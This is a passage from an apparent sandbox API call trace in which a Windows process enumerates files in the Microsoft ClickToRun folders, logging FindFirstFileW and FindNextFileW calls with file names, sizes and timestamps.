Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189", lpFilePart=0x0) returned 0x4c [0209.635] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\9566930b-d1dd-4075-bfe6-74dd69b13189\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd58489b0, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd584c46a, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5911742, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.635] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd58489b0, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd584c46a, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5911742, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.635] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5911742, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5926364, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5926364, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0209.636] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0209.636] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0209.636] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0209.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dbde0) returned 1 [0209.636] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189", lpFilePart=0x0) returned 0x4c [0209.636] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\9566930b-d1dd-4075-bfe6-74dd69b13189\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd58489b0, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd584c46a, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5911742, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.637] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd58489b0, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd584c46a, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5911742, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.637] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5911742, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5926364, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5926364, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0209.637] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0209.637] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.637] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbcd0) returned 1 [0209.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0209.638] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\en-us.16", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\en-us.16", lpFilePart=0x0) returned 0x55 [0209.638] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\en-us.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\9566930b-d1dd-4075-bfe6-74dd69b13189\\en-us.16\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5911742, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5926364, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5926364, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0209.641] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5911742, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5926364, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5926364, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.641] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5916623, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5916623, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x22d02900, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5765, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0209.642] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd59215d7, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd59215d7, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0209.642] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5924f73, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5924f73, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0209.642] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.642] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0209.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0209.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0209.643] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\en-us.16", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\en-us.16", lpFilePart=0x0) returned 0x55 [0209.644] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\en-us.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\9566930b-d1dd-4075-bfe6-74dd69b13189\\en-us.16\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5911742, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5926364, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5926364, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.645] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5911742, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5926364, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5926364, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.645] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5916623, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5916623, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x22d02900, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5765, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0209.645] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd59215d7, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd59215d7, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s321033.hash", cAlternateFileName="S32103~1.HAS")) returned 1 [0209.645] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5924f73, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5924f73, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0209.645] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5924f73, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5924f73, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x21ebc700, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd81d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0209.645] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0209.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0209.646] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\x-none.16", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\x-none.16", lpFilePart=0x0) returned 0x56 [0209.647] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\x-none.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\9566930b-d1dd-4075-bfe6-74dd69b13189\\x-none.16\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.650] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.650] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd585af2f, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd585af2f, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x206dcf00, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5220, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0209.650] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5876774, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5876774, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0209.650] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd587a18c, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587a18c, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0209.650] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.650] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0209.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2db620) returned 1 [0209.652] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\x-none.16", nBufferLength=0x105, lpBuffer=0x1f2db100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\x-none.16", lpFilePart=0x0) returned 0x56 [0209.652] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\9566930B-D1DD-4075-BFE6-74DD69B13189\\x-none.16\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\9566930b-d1dd-4075-bfe6-74dd69b13189\\x-none.16\\*"), lpFindFileData=0x1f2db330 | out: lpFindFileData=0x1f2db330*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.653] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd584b1e3, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587b51b, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd587b51b, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.653] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd585af2f, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd585af2f, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x206dcf00, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x5220, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDescriptor.x-none.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0209.653] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5876774, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5876774, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x341a3500, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="s320.hash", cAlternateFileName="S320~1.HAS")) returned 1 [0209.653] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd587a18c, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587a18c, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1 [0209.653] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2db2f0 | out: lpFindFileData=0x1f2db2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd587a18c, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd587a18c, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0x32e90800, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x38b5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0 [0209.653] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db550) returned 1 [0209.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2db510) returned 1 [0209.655] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dbde0) returned 1 [0209.655] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData", lpFilePart=0x0) returned 0x33 [0209.655] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\MachineData\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\machinedata\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.655] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.655] FindNextFileW (in: hFindFile=0x1d469220, 